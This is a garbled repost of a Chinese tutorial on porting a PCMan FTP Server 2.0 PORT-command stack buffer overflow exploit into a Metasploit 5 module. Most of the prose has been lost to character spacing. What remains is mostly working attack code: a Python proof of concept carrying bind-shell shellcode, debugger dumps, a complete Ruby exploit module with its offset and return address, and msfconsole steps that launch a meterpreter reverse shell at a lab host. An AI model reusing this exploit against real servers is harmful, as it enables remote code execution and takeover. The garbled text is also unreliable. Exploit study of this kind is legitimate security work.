[14153] 2019-05-26_关于Metasploit5中测试模块的移植与验证

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2019-05-26_关于Metasploit5中测试模块的移植与验证 M e t a s p l o i t   5 N e r o q i   F r e e B u f   2 0 1 9 - 0 5 - 2 6 * M e t a s p l o i t P e r l P y t h o n C / C + + M e t a s p l o i t 使 使 M e t a s p l o i t M e t a s p l o i t 使 使 P C M a n s   F T P   S e r v e r 便 F T P F T P P C M a n s   F T P   S e r v e r 1 . 1 . K a l i - L i n u x - 2 0 1 9 . 1 - v m - a m d 6 4 2 . W i n d o w s   X P   S P 3   S i m p l i f i e d   C h i n e s e 3 . P C M a n s   F T P   S e r v e r   2 . 0 1 .   p y t h o n - 2 . 7 . 1 5 2 .   I m m u n i t y D e b u g g e r 1 . 8 5 # ! / u s r / b i n / e n v   p y t h o n # - * -   c o d i n g :   u t f - 8   - * - #   E x p l o i t   T i t l e :   P C M a n   F T P   S e r v e r   2 . 0   P O R T   C o m m a n d   B o F   E x p l o i t #   A u t h o r :   P a b l o   G o n z á l e z #   D a t e :   4 / 1 1 / 2 0 1 6 #   S o f t w a r e :   P C M a n   2 . 0 #   T e s t e d   o n :   W i n d o w s   X P   P r o f e s i o n a l   S P 3   S p a n i s h   x 8 6 i m p o r t   s o c k e t p r i n t   " C r e a t i n g   m a l i c i o u s   i n p u t ! " j u n k   =   ' x 4 1 ' * 2 0 0 7 r e t = " x f 7 x 5 6 x 3 c x 7 e "         # U s e r 3 2 . d l l   7 E 3 C 5 6 F 7 n o p s   =   ' x 9 0 ' * 2 0 # m s f v e n o m   - p   w i n d o w s / s h e l l _ b i n d _ t c p   L P O R T = 1 1 4 4   - b   ' x 0 a x 0 0 x 0 d '   - f   c # p u t   s h e l l c o d e   i n   v a r i a b l e   ' s c ' s c = ( " x d b x d 6 x b a x d 3 x 9 5 x 1 b x d 0 x d 9 x 7 4 x 2 4 x f 4 x 5 8 x 2 b x c 9 x b 1 " " x 5 3 x 3 1 x 5 0 x 1 7 x 8 3 x e 8 x f c x 0 3 x 8 3 x 8 6 x f 9 x 2 5 x d f x 4 1 x 7 f " " x c 5 x 1 f x 9 2 x e 0 x 4 f x f a x a 3 x 2 0 x 2 b x 8 f x 9 4 x 9 0 x 3 f x d d x 1 8 " " x 5 a x 6 d x f 5 x a b x 2 e x b a x f a x 1 c x 8 4 x 9 c x 3 5 x 9 c x b 5 x d d x 5 4 " " x 1 e x c 4 x 3 1 x b 6 x 1 f x 0 7 x 4 4 x b 7 x 5 8 x 7 a x a 5 x e 5 x 3 1 x f 0 x 1 8 " " x 1 9 x 3 5 x 4 c x a 1 x 9 2 x 0 5 x 4 0 x a 1 x 4 7 x d d x 6 3 x 8 0 x d 6 x 5 5 x 3 a " " x 0 2 x d 9 x b a x 3 6 x 0 b x c 1 x d f x 7 3 x c 5 x 7 a x 2 b x 0 f x d 4 x a a x 6 5 " " x f 0 x 7 b x 9 3 x 4 9 x 0 3 x 8 5 x d 4 x 6 e x f c x f 0 x 2 c x 8 d x 8 1 x 0 2 x e b " " x e f x 5 d x 8 6 x e f x 4 8 x 1 5 x 3 0 x c b x 6 9 x f a x a 7 x 9 8 x 6 6 x b 7 x a c " " x c 6 x 6 a x 4 6 x 6 0 x 7 d x 9 6 x c 3 x 8 7 x 5 1 x 1 e x 9 7 x a 3 x 7 5 x 7 a x 4 3 " " x c d x 2 c x 2 6 x 2 2 x f 2 x 2 e x 8 9 x 9 b x 5 6 x 2 5 x 2 4 x c f x e a x 6 4 x 2 1 " " x 3 c x c 7 x 9 6 x b 1 x 2 a x 5 0 x e 5 x 8 3 x f 5 x c a x 6 1 x a 8 x 7 e x d 5 x 7 6 " " x c f x 5 4 x a 1 x e 8 x 2 e x 5 7 x d 2 x 2 1 x f 5 x 0 3 x 8 2 x 5 9 x d c x 2 b x 4 9 " " x 9 9 x e 1 x f 9 x e 4 x 9 1 x 4 4 x 5 2 x 1 b x 5 c x 3 6 x 0 2 x 9 b x c e x d f x 4 8 "
2 . 3 . O f f s e t C V E - 2 0 1 9 - 9 7 6 6 4 . J M P   E S P 使 U s e r 3 2 . d l l 7 E 3 C 5 6 F 7 W i n d o w s   X P   P r o f e s i o n a l   S P 3   S p a n i s h   x 8 6 西 X P I m m u n i t y D e b u g g e r 使 ! m o n a   j m p   - r   e s p m o n a j m p . t x t 0 x 7 7 d 2 9 3 5 3 5 . s h e l l c o d e I m m u n i t y D e b u g g e r 使 m o n a 使 s h e l l c o d e " x 9 9 x e 1 x f 9 x e 4 x 9 1 x 4 4 x 5 2 x 1 b x 5 c x 3 6 x 0 2 x 9 b x c e x d f x 4 8 " " x 1 4 x 3 1 x f f x 7 2 x f e x 5 a x 6 8 x 8 f x 0 1 x 6 0 x 1 1 x 0 6 x e 7 x 0 2 x f 1 " " x 4 e x b f x b a x 3 3 x b 5 x 0 8 x 5 d x 4 b x 9 f x 2 0 x c 9 x 0 4 x c 9 x f 7 x f 6 " " x 9 4 x d f x 5 f x 6 0 x 1 f x 0 c x 6 4 x 9 1 x 2 0 x 1 9 x c c x c 6 x b 7 x d 7 x 9 d " " x a 5 x 2 6 x e 7 x b 7 x 5 d x c a x 7 a x 5 c x 9 d x 8 5 x 6 6 x c b x c a x c 2 x 5 9 " " x 0 2 x 9 e x f e x c 0 x b c x b c x 0 2 x 9 4 x 8 7 x 0 4 x d 9 x 6 5 x 0 9 x 8 5 x a c " " x d 2 x 2 d x 9 5 x 6 8 x d a x 6 9 x c 1 x 2 4 x 8 d x 2 7 x b f x 8 2 x 6 7 x 8 6 x 6 9 " " x 5 d x d b x 4 0 x f d x 1 8 x 1 7 x 5 3 x 7 b x 2 5 x 7 2 x 2 5 x 6 3 x 9 4 x 2 b x 7 0 " " x 9 c x 1 9 x b c x 7 4 x e 5 x 4 7 x 5 c x 7 a x 3 c x c c x 6 c x 3 1 x 1 c x 6 5 x e 5 " " x 9 c x f 5 x 3 7 x 6 8 x 1 f x 2 0 x 7 b x 9 5 x 9 c x c 0 x 0 4 x 6 2 x b c x a 1 x 0 1 " " x 2 e x 7 a x 5 a x 7 8 x 3 f x e f x 5 c x 2 f x 4 0 x 3 a " ) b u f f e r =   j u n k   +   r e t   +   n o p s   +   s c s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) i p   =   r a w _ i n p u t ( ' G i v e   m e   R e m o t e   I P   A d d r e s s : ' ) c o n n e c t = s . c o n n e c t ( ( i p , 2 1 ) ) b a n n e r   =   s . r e c v ( 1 0 2 4 ) p r i n t   b a n n e r s . s e n d ( ' U S E R   a n o n y m o u s r n ' ) s . r e c v ( 1 0 2 4 ) s . s e n d ( ' P A S S r n ' ) s . r e c v ( 1 0 2 4 ) # S e n d i n g   i n p u t   P O R T   c o m m a n d   ( E x p l o i t a t i o n   i s   c o m i n g ) s . s e n d ( ' P O R T '   +   b u f f e r   +   ' r n ' ) s . c l o s e ( ) C : W I N D O W S s y s t e m 3 2 U S E R 3 2 . d l l #   E x p l o i t   T i t l e :   P C M a n   F T P   S e r v e r   2 . 0   P O R T   C o m m a n d   E x p l o i t #   A u t h o r :   N e r o q i #   D a t e :   5 / 1 4 / 2 0 1 9 #   S o f t w a r e :   P C M a n   2 . 0 #   T e s t e d   o n :   W i n d o w s   X P   P r o f e s i o n a l   S P 3   S i m p l i f i e d   C h i n e s e i m p o r t   s o c k e t j u n k   =   ' x 4 1 ' * 2 0 0 7 r e t = ' x 4 2 ' * 4         # U S E R 3 2 . d l l   0 x 7 7 d 2 9 3 5 3 n o p s   =   ' x 9 0 ' * 2 0
5 . 1   K a l i   L i n u x P C M a n s   F T P   S e r v e r I P P C M a n s   F T P I m m u n i t y D e b u g g e r s h e l l c o d e 2 0 x 9 0 x 0 D x 0 A   r n < > < > s h e l l c o d e x 0 0 5 . 2   s h e l l c o d e x 0 0 5 . 1 I m m u n i t y D e b u g g e r s h e l l c o d e   =   (         " x 0 0 x 0 1 x 0 2 x 0 3 x 0 4 x 0 5 x 0 6 x 0 7 x 0 8 x 0 9 x 0 a x 0 b x 0 c x 0 d x 0 e x 0 f "         " x 1 0 x 1 1 x 1 2 x 1 3 x 1 4 x 1 5 x 1 6 x 1 7 x 1 8 x 1 9 x 1 a x 1 b x 1 c x 1 d x 1 e x 1 f "         " x 2 0 x 2 1 x 2 2 x 2 3 x 2 4 x 2 5 x 2 6 x 2 7 x 2 8 x 2 9 x 2 a x 2 b x 2 c x 2 d x 2 e x 2 f "         " x 3 0 x 3 1 x 3 2 x 3 3 x 3 4 x 3 5 x 3 6 x 3 7 x 3 8 x 3 9 x 3 a x 3 b x 3 c x 3 d x 3 e x 3 f "         " x 4 0 x 4 1 x 4 2 x 4 3 x 4 4 x 4 5 x 4 6 x 4 7 x 4 8 x 4 9 x 4 a x 4 b x 4 c x 4 d x 4 e x 4 f "         " x 5 0 x 5 1 x 5 2 x 5 3 x 5 4 x 5 5 x 5 6 x 5 7 x 5 8 x 5 9 x 5 a x 5 b x 5 c x 5 d x 5 e x 5 f "         " x 6 0 x 6 1 x 6 2 x 6 3 x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 6 a x 6 b x 6 c x 6 d x 6 e x 6 f "         " x 7 0 x 7 1 x 7 2 x 7 3 x 7 4 x 7 5 x 7 6 x 7 7 x 7 8 x 7 9 x 7 a x 7 b x 7 c x 7 d x 7 e x 7 f "         " x 8 0 x 8 1 x 8 2 x 8 3 x 8 4 x 8 5 x 8 6 x 8 7 x 8 8 x 8 9 x 8 a x 8 b x 8 c x 8 d x 8 e x 8 f "         " x 9 0 x 9 1 x 9 2 x 9 3 x 9 4 x 9 5 x 9 6 x 9 7 x 9 8 x 9 9 x 9 a x 9 b x 9 c x 9 d x 9 e x 9 f "         " x a 0 x a 1 x a 2 x a 3 x a 4 x a 5 x a 6 x a 7 x a 8 x a 9 x a a x a b x a c x a d x a e x a f "         " x b 0 x b 1 x b 2 x b 3 x b 4 x b 5 x b 6 x b 7 x b 8 x b 9 x b a x b b x b c x b d x b e x b f "         " x c 0 x c 1 x c 2 x c 3 x c 4 x c 5 x c 6 x c 7 x c 8 x c 9 x c a x c b x c c x c d x c e x c f "         " x d 0 x d 1 x d 2 x d 3 x d 4 x d 5 x d 6 x d 7 x d 8 x d 9 x d a x d b x d c x d d x d e x d f "         " x e 0 x e 1 x e 2 x e 3 x e 4 x e 5 x e 6 x e 7 x e 8 x e 9 x e a x e b x e c x e d x e e x e f "         " x f 0 x f 1 x f 2 x f 3 x f 4 x f 5 x f 6 x f 7 x f 8 x f 9 x f a x f b x f c x f d x f e x f f " ) b u f f e r =   j u n k   +   r e t   +   n o p s   +   s h e l l c o d e s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) i p   =   r a w _ i n p u t ( ' I n p u t   F T P   S e r v e r   I P   A d d r e s s : ' ) c o n n e c t   =   s . c o n n e c t ( ( i p , 2 1 ) ) s . r e c v ( 1 0 2 4 ) s . s e n d ( ' U S E R   a n o n y m o u s r n ' ) s . r e c v ( 1 0 2 4 ) s . s e n d ( ' P A S S r n ' ) s . r e c v ( 1 0 2 4 ) # S e n d i n g   i n p u t   P O R T   c o m m a n d   ( E x p l o i t a t i o n   i s   c o m i n g ) s . s e n d ( ' P O R T '   +   b u f f e r   +   ' r n ' ) s . c l o s e ( ) 0 0 1 2 C 7 D 4       4 1 4 1 4 1 4 1     A A A A 0 0 1 2 C 7 D 8       4 2 4 2 4 2 4 2     B B B B 0 0 1 2 C 7 D C       9 0 9 0 9 0 9 0     0 0 1 2 C 7 E 0       9 0 9 0 9 0 9 0     0 0 1 2 C 7 E 4       9 0 9 0 9 0 9 0     0 0 1 2 C 7 E 8       9 0 9 0 9 0 9 0     0 0 1 2 C 7 E C       9 0 9 0 9 0 9 0     0 0 1 2 C 7 F 0       0 0 0 0 0 A 0 D     . . . . 0 0 1 2 C 7 F 4       0 0 0 0 0 0 0 A     . . . . 0 0 1 2 C 7 F 8       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 7 F C       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 0 0       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 0 4       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 0 8       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 0 C       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 1 0       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 1 4       0 0 0 0 0 0 6 6     f . . . 0 0 1 2 C 8 1 8       7 7 E F 6 B F 2             G D I 3 2 . 7 7 E F 6 B F 2 0 0 1 2 C 7 D 4       4 1 4 1 4 1 4 1     A A A A 0 0 1 2 C 7 D 8       4 2 4 2 4 2 4 2     B B B B 0 0 1 2 C 7 D C       9 0 9 0 9 0 9 0     0 0 1 2 C 7 E 0       9 0 9 0 9 0 9 0     0 0 1 2 C 7 E 4       9 0 9 0 9 0 9 0     0 0 1 2 C 7 E 8       9 0 9 0 9 0 9 0     0 0 1 2 C 7 E C       9 0 9 0 9 0 9 0     0 0 1 2 C 7 F 0       0 4 0 3 0 2 0 1    
s h e l l c o d e x 0 9 x 0 a 5 . 1 5 . 2 x 0 0 x 0 a x 0 d 1 .   p c m a n _ p o r t . r b 0 0 1 2 C 7 F 0       0 4 0 3 0 2 0 1     0 0 1 2 C 7 F 4       0 8 0 7 0 6 0 5     0 0 1 2 C 7 F 8       0 0 0 A 0 D 0 9     . . . . 0 0 1 2 C 7 F C       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 0 0       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 0 4       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 0 8       0 0 0 0 0 0 0 2     . . . 0 0 1 2 C 8 0 C       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 1 0       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 1 4       0 0 0 0 0 0 A C     ? . . 0 0 1 2 C 8 1 8       7 7 E F 6 B F 2             G D I 3 2 . 7 7 E F 6 B F 2 2 . 4 r e q u i r e   ' m s f / c o r e ' c l a s s   M e t a s p l o i t M o d u l e   <   M s f : : E x p l o i t : : R e m o t e     R a n k   =   N o r m a l R a n k i n g     i n c l u d e   M s f : : E x p l o i t : : R e m o t e : : F t p     d e f   i n i t i a l i z e ( i n f o   =   { } )         s u p e r ( u p d a t e _ i n f o ( i n f o ,             ' N a m e '                       = >   " P C M a n ' s   F T P   S e r v e r   P O R T   C o m m a n d   S t a c k   B u f f e r   O v e r f l o w " ,             ' D e s c r i p t i o n '         = >   " T h i s   m o d u l e   e x p l o i t s   a   b u f f e r   o v e r f l o w   v u l n e r a b i l i t y   f o u n d   i n   t h e   P O R T   c o m m a n d   o f   t h e   P C M a n ' s   F T P   S e r v e r   v 2 . 0 " ,             ' A u t h o r '                   = >   ' N e r o q i ' ,             ' L i c e n s e '                 = >   M S F _ L I C E N S E ,             ' R e f e r e n c e s '           = >                       [                             [ ' E D B ' ,   ' 4 0 7 1 4 ' ]                     ] ,             ' D e f a u l t O p t i o n s '   = >                 {                     ' E X I T F U N C '   = >   ' p r o c e s s ' ,                     ' V E R B O S E '     = >   t r u e                 } ,             ' P a y l o a d '                 = >                 {                     ' S p a c e '       = >   1 0 0 0 ,                     ' B a d C h a r s '     = >   " x 0 0 x 0 a x 0 d " ,                 } ,             ' P l a t f o r m '               = >   ' w i n ' ,             ' T a r g e t s '                 = >                 [                     [   ' W i n d o w s   X P   P r o f e s i o n a l   S P 3   S i m p l i f i e d   C h i n e s e ' ,                         {                             ' R e t '   = >   0 x 7 7 d 2 9 3 5 3 ,   #   C : W I N D O W S s y s t e m 3 2 U S E R 3 2 . d l l                             ' O f f s e t '   = >   2 0 0 7                         }                     ] ,                 ] ,             ' D i s c l o s u r e D a t e '   = >   ' M a y   1 4   2 0 1 9 ' ,             ' D e f a u l t T a r g e t '     = >   0 ) )             r e g i s t e r _ o p t i o n s (                 [                     O p t : : R P O R T ( 2 1 ) ,                     O p t S t r i n g . n e w ( ' F T P U S E R ' , [   t r u e ,   ' F T P   U s e r ' ,   ' a n o n y m o u s ' ] ) ,                     O p t S t r i n g . n e w ( ' F T P P A S S ' , [   t r u e ,   ' F T P   P a s s w o r d ' ,   ' a n o n y m o u s ' ] )                 ] ,   s e l f . c l a s s )     e n d
1 . 1   r e q u i r e   m s f / c o r e M e t a s p l o i t c o r e i n c l u d e   M s f : : E x p l o i t : : R e m o t e : : F t p f t p .   r b F T P 1 . 2   i n i t i a l i z e N a m e D e s c r i p t i o n A u t h o r D e f a u l t O p t i o n s P a y l o a d O f f s e t J M P E S P T a r g e t s 1 . 3   r e g i s t e r _ o p t i o n s 使 O p t : : R P O R T 使 O p t S t r i n g . n e w F T P 2 .   p c m a n _ p o r t . r b 2 . 1   r a n d _ t e x t _ a l p h a ( ) 2 0 0 7 T a r g e t s O f f s e t x 4 1 * 2 0 0 7 s p l o i t 2 . 2   [ t a r g e t . r e t ] . p a c k ( V ) T a r g e t s R e t J M P   E S P s p l o i t 使 2 . 3   m a k e _ n o p s ( 2 0 ) 2 0 2 . 4   p a y l o a d . e n c o d e d 2 . 5   使 f t p s e n d _ c m d ( ) s p l o i t P O R T 3 .   p c m a n _ p o r t . r b 3 . 1   r a n d _ t e x t _ a l p h a ( ) 3 . 2   J M P   E S P [ t a r g e t . r e t ] . p a c k ( V ) 3 . 3   m a k e _ n o p s ( ) 3 . 4   s h e l l c o d e s h e l l c o d e s h e l l c o d e 1 .   p c m a n _ p o r t . r b m s f c o n s o l e r e l o a d _ a l l 2 .   M e t a s p l o i t 使 p c m a n _ p o r t . r b m e t e r p r e t e r     e n d     d e f   e x p l o i t           c   =   c o n n e c t _ l o g i n         r e t u r n   u n l e s s   c         s p l o i t   =   r a n d _ t e x t _ a l p h a ( t a r g e t [ ' O f f s e t ' ] )         s p l o i t   < <   [ t a r g e t . r e t ] . p a c k ( ' V ' )         s p l o i t   < <   m a k e _ n o p s ( 2 0 )         s p l o i t   < <   p a y l o a d . e n c o d e d           s e n d _ c m d (   [ " P O R T "   +   s p l o i t ,   f a l s e ]   )         d i s c o n n e c t       e n d / u s r / s h a r e / m e t a s p l o i t - f r a m e w o r k / m o d u l e s / e x p l o i t s / w i n d o w s / f t p m s f 5   >   u s e   e x p l o i t / w i n d o w s / f t p / p c m a n _ p o r t m s f 5   e x p l o i t ( w i n d o w s / f t p / p c m a n _ p o r t )   >   s e t   R H O S T S   1 9 2 . 1 6 8 . 1 8 8 . 1 3 7 R H O S T S   = >   1 9 2 . 1 6 8 . 1 8 8 . 1 3 7 m s f 5   e x p l o i t ( w i n d o w s / f t p / p c m a n _ p o r t )   >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p p a y l o a d   = >   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p m s f 5   e x p l o i t ( w i n d o w s / f t p / p c m a n _ p o r t )   >   s e t   L H O S T   1 9 2 . 1 6 8 . 1 8 8 . 1 3 6 L H O S T   = >   1 9 2 . 1 6 8 . 1 8 8 . 1 3 6 m s f 5   e x p l o i t ( w i n d o w s / f t p / p c m a n _ p o r t )   >   s e t   L P O R T   8 8 8 8 L P O R T   = >   8 8 8 8 m s f 5   e x p l o i t ( w i n d o w s / f t p / p c m a n _ p o r t )   >   e x p l o i t
M e t a s p l o i t M e t a s p l o i t M e t a s p l o i t * N e r o q i F r e e B u f . C O M
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则